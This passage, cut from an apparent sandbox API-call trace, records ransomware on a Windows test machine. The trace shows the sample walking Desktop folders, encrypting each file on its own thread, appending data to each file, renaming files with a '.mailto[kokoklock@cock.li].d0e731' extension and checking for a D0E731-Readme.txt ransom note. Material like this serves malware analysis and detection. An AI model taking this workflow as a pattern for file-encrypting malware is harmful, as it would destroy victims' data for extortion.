_Source="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav") returned="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav" [0070.925] wcscat (in: _Dest=0x347c458, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731" [0070.925] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\omigopyv.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\omigopyv.wav.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.959] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c458) returned 1 [0070.959] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\OMigOPyv.wav", dwFileAttributes=0x20) returned 0 [0070.959] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x3480420 [0070.959] wcscpy (in: _Dest=0x3480420, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.959] wcscat (in: _Dest=0x3480420, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.959] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.960] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480420) returned 1 [0070.960] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431518) returned 1 [0070.960] RtlExitUserThread (Status=0x1) Thread: id = 459 os_tid = 0xfb4 [0070.191] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp" (normalized: "c:\\users\\fd1hvy\\desktop\\opaco9prdh8ceipsi.odp")) returned 0x20 [0070.191] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp", dwFileAttributes=0x20) returned 1 [0070.192] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp" (normalized: "c:\\users\\fd1hvy\\desktop\\opaco9prdh8ceipsi.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0070.192] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x1333f750 | out: lpFileSize=0x1333f750*=68703) returned 1 [0070.192] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x10c5b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.192] ReadFile (in: hFile=0x774, lpBuffer=0x1333f724, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1333f720, lpOverlapped=0x0 | out: lpBuffer=0x1333f724*, lpNumberOfBytesRead=0x1333f720*=0x4, lpOverlapped=0x0) returned 1 [0070.192] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1f8 [0070.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0070.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0070.193] NtQuerySystemTime (in: CurrentTime=0x1333f6fc | out: CurrentTime=0x1333f6fc*=132121176280879392) returned 0x0 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0xd5987c2e [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0xfbcc5dc2 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x14ec20bc [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x5d8a9c1 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0xcb09495a [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0xc40e087c [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0xeda0c84b [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x656f8acb [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0xf45527c8 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0xa9b37054 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x6f66aa6 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x8a28a43a [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x68c6c311 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0xf701904e [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x65920c04 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x4d3b516c [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x425e18ce [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x42fa1b32 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0xa4287683 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x1ecbb111 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0xf8f2fd [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x68a1d6b9 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0xf31fa6f9 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x69606d53 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x20b568a7 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x1b93af86 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x565fa2a1 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0xa4421466 [0070.193] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x57f29eb1 [0070.194] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0xa25dc505 [0070.194] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0xb793d9bb [0070.194] RtlRandom (in: Seed=0x1333f708 | out: Seed=0x1333f708) returned 0x8b86a7bc [0070.204] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.204] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1333f6d4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1333f6d4*=0x4096, lpOverlapped=0x0) returned 1 [0070.205] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.205] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0070.205] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0070.205] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423108 [0070.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423108) returned 1 [0070.205] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0070.205] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423068 [0070.205] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423158 [0070.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423158) returned 1 [0070.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0070.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0070.206] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1333f6d4, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1333f6d4*=0x4096, lpOverlapped=0x0) returned 1 [0070.206] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0070.206] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x10c5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.206] WriteFile (in: hFile=0x774, lpBuffer=0x3423068*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1333f70c, lpOverlapped=0x0 | out: lpBuffer=0x3423068*, lpNumberOfBytesWritten=0x1333f70c*=0x20, lpOverlapped=0x0) returned 1 [0070.206] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423068) returned 1 [0070.206] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.206] WriteFile (in: hFile=0x774, lpBuffer=0x3423130*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1333f720, lpOverlapped=0x0 | out: lpBuffer=0x3423130*, lpNumberOfBytesWritten=0x1333f720*=0x8, lpOverlapped=0x0) returned 1 [0070.206] WriteFile (in: hFile=0x774, lpBuffer=0x1333f738*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1333f720, lpOverlapped=0x0 | out: lpBuffer=0x1333f738*, lpNumberOfBytesWritten=0x1333f720*=0x4, lpOverlapped=0x0) returned 1 [0070.206] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1333f720, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1333f720*=0x4, lpOverlapped=0x0) returned 1 [0070.206] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1333f720, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1333f720*=0x6c, lpOverlapped=0x0) returned 1 [0070.206] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1333f720, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x1333f720*=0x20, lpOverlapped=0x0) returned 1 [0070.206] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1333f720, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1333f720*=0x4, lpOverlapped=0x0) returned 1 [0070.206] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0070.207] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0070.207] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423130) returned 1 [0070.207] CloseHandle (hObject=0x774) returned 1 [0070.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e6e58 [0070.926] wcscpy (in: _Dest=0x33e6e58, _Source="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp") returned="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp" [0070.926] wcscat (in: _Dest=0x33e6e58, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731" [0070.926] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp" (normalized: "c:\\users\\fd1hvy\\desktop\\opaco9prdh8ceipsi.odp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\opaco9prdh8ceipsi.odp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.958] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6e58) returned 1 [0070.958] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oPAcO9PRdh8ceIpSI.odp", dwFileAttributes=0x20) returned 0 [0070.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x3480420 [0070.958] wcscpy (in: _Dest=0x3480420, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.958] wcscat (in: _Dest=0x3480420, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.958] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480420) returned 1 [0070.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34273a8) returned 1 [0070.958] RtlExitUserThread (Status=0x1) Thread: id = 460 os_tid = 0x4a4 [0070.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x3430ff0 [0070.211] wcscpy (in: _Dest=0x3430ff0, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0070.211] wcscat (in: _Dest=0x3430ff0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0070.211] wcscat (in: _Dest=0x3430ff0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\*") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\*" [0070.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342a3a0 [0070.211] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\*", lpFindFileData=0x342a3a0 | out: lpFindFileData=0x342a3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7d4ce90, ftCreationTime.dwHighDateTime=0x1d4d5dc, ftLastAccessTime.dwLowDateTime=0x37935350, ftLastAccessTime.dwHighDateTime=0x1d4d09a, ftLastWriteTime.dwLowDateTime=0x37935350, ftLastWriteTime.dwHighDateTime=0x1d4d09a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34342e8 [0070.211] wcscmp (_String1=".", _String2=".") returned 0 [0070.211] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x342a3a0 | out: lpFindFileData=0x342a3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7d4ce90, ftCreationTime.dwHighDateTime=0x1d4d5dc, ftLastAccessTime.dwLowDateTime=0x37935350, ftLastAccessTime.dwHighDateTime=0x1d4d09a, ftLastWriteTime.dwLowDateTime=0x37935350, ftLastWriteTime.dwHighDateTime=0x1d4d09a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.211] wcscmp (_String1="..", _String2=".") returned 1 [0070.211] wcscmp (_String1="..", _String2="..") returned 0 [0070.212] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x342a3a0 | out: lpFindFileData=0x342a3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2577db00, ftCreationTime.dwHighDateTime=0x1d4d360, ftLastAccessTime.dwLowDateTime=0x5afdfb40, ftLastAccessTime.dwHighDateTime=0x1d4cab6, ftLastWriteTime.dwLowDateTime=0x5afdfb40, ftLastWriteTime.dwHighDateTime=0x1d4cab6, nFileSizeHigh=0x0, nFileSizeLow=0x6925, dwReserved0=0x0, dwReserved1=0x0, cFileName="385InGGp6-.mkv", cAlternateFileName="385ING~1.MKV")) returned 1 [0070.212] wcscmp (_String1="385InGGp6-.mkv", _String2=".") returned 1 [0070.212] wcscmp (_String1="385InGGp6-.mkv", _String2="..") returned 1 [0070.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347e650 [0070.212] wcscpy (in: _Dest=0x347e650, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0070.212] wcscat (in: _Dest=0x347e650, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0070.212] wcscat (in: _Dest=0x347e650, _Source="385InGGp6-.mkv" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv" [0070.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384 [0070.452] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x342a3a0 | out: lpFindFileData=0x342a3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd81cbf0, ftCreationTime.dwHighDateTime=0x1d4c6fe, ftLastAccessTime.dwLowDateTime=0xc2952e00, ftLastAccessTime.dwHighDateTime=0x1d4d555, ftLastWriteTime.dwLowDateTime=0xc2952e00, ftLastWriteTime.dwHighDateTime=0x1d4d555, nFileSizeHigh=0x0, nFileSizeLow=0xe938, dwReserved0=0x0, dwReserved1=0x0, cFileName="7-sB413tNKrcEy-i.avi", cAlternateFileName="7-SB41~1.AVI")) returned 1 [0070.452] wcscmp (_String1="7-sB413tNKrcEy-i.avi", _String2=".") returned 1 [0070.452] wcscmp (_String1="7-sB413tNKrcEy-i.avi", _String2="..") returned 1 [0070.452] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0070.452] wcscpy (in: _Dest=0x3479c40, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0070.452] wcscat (in: _Dest=0x3479c40, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0070.452] wcscat (in: _Dest=0x3479c40, _Source="7-sB413tNKrcEy-i.avi" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi" [0070.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300 [0070.453] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x342a3a0 | out: lpFindFileData=0x342a3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97b03920, ftCreationTime.dwHighDateTime=0x1d4d350, ftLastAccessTime.dwLowDateTime=0xf2d05540, ftLastAccessTime.dwHighDateTime=0x1d4c7b3, ftLastWriteTime.dwLowDateTime=0xf2d05540, ftLastWriteTime.dwHighDateTime=0x1d4c7b3, nFileSizeHigh=0x0, nFileSizeLow=0x16d24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AP-sQn-sg1V.m4a", cAlternateFileName="AP-SQN~1.M4A")) returned 1 [0070.453] wcscmp (_String1="AP-sQn-sg1V.m4a", _String2=".") returned 1 [0070.453] wcscmp (_String1="AP-sQn-sg1V.m4a", _String2="..") returned 1 [0070.454] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347e030 [0070.454] wcscpy (in: _Dest=0x347e030, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0070.454] wcscat (in: _Dest=0x347e030, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0070.454] wcscat (in: _Dest=0x347e030, _Source="AP-sQn-sg1V.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a" [0070.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0070.454] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x342a3a0 | out: lpFindFileData=0x342a3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9023d450, ftCreationTime.dwHighDateTime=0x1d4c8b5, ftLastAccessTime.dwLowDateTime=0xb1e17e40, ftLastAccessTime.dwHighDateTime=0x1d4ceb3, ftLastWriteTime.dwLowDateTime=0xb1e17e40, ftLastWriteTime.dwHighDateTime=0x1d4ceb3, nFileSizeHigh=0x0, nFileSizeLow=0x12cb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="avpW9i.mp4", cAlternateFileName="")) returned 1 [0070.454] wcscmp (_String1="avpW9i.mp4", _String2=".") returned 1 [0070.454] wcscmp (_String1="avpW9i.mp4", _String2="..") returned 1 [0070.454] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427548 [0070.454] wcscpy (in: _Dest=0x3427548, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0070.455] wcscat (in: _Dest=0x3427548, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0070.455] wcscat (in: _Dest=0x3427548, _Source="avpW9i.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4" [0070.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680 [0070.455] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x342a3a0 | out: lpFindFileData=0x342a3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f597e70, ftCreationTime.dwHighDateTime=0x1d4ca47, ftLastAccessTime.dwLowDateTime=0xc7bb74d0, ftLastAccessTime.dwHighDateTime=0x1d4cec4, ftLastWriteTime.dwLowDateTime=0xc7bb74d0, ftLastWriteTime.dwHighDateTime=0x1d4cec4, nFileSizeHigh=0x0, nFileSizeLow=0x2498, dwReserved0=0x0, dwReserved1=0x0, cFileName="e7Y1DwyF1A.mp3", cAlternateFileName="E7Y1DW~1.MP3")) returned 1 [0070.455] wcscmp (_String1="e7Y1DwyF1A.mp3", _String2=".") returned 1 [0070.455] wcscmp (_String1="e7Y1DwyF1A.mp3", _String2="..") returned 1 [0070.455] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347da10 [0070.455] wcscpy (in: _Dest=0x347da10, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0070.455] wcscat (in: _Dest=0x347da10, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0070.455] wcscat (in: _Dest=0x347da10, _Source="e7Y1DwyF1A.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3" [0070.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347da10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0070.456] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x342a3a0 | out: lpFindFileData=0x342a3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c4da570, ftCreationTime.dwHighDateTime=0x1d4cf25, ftLastAccessTime.dwLowDateTime=0xcc2c41a0, ftLastAccessTime.dwHighDateTime=0x1d4c75f, ftLastWriteTime.dwLowDateTime=0xcc2c41a0, ftLastWriteTime.dwHighDateTime=0x1d4c75f, nFileSizeHigh=0x0, nFileSizeLow=0x47ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="TcAlorii.swf", cAlternateFileName="")) returned 1 [0070.456] wcscmp (_String1="TcAlorii.swf", _String2=".") returned 1 [0070.456] wcscmp (_String1="TcAlorii.swf", _String2="..") returned 1 [0070.456] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3427618 [0070.456] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0070.456] wcscat (in: _Dest=0x3427618, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0070.456] wcscat (in: _Dest=0x3427618, _Source="TcAlorii.swf" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf" [0070.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427618, dwCreationFlags=0x0, 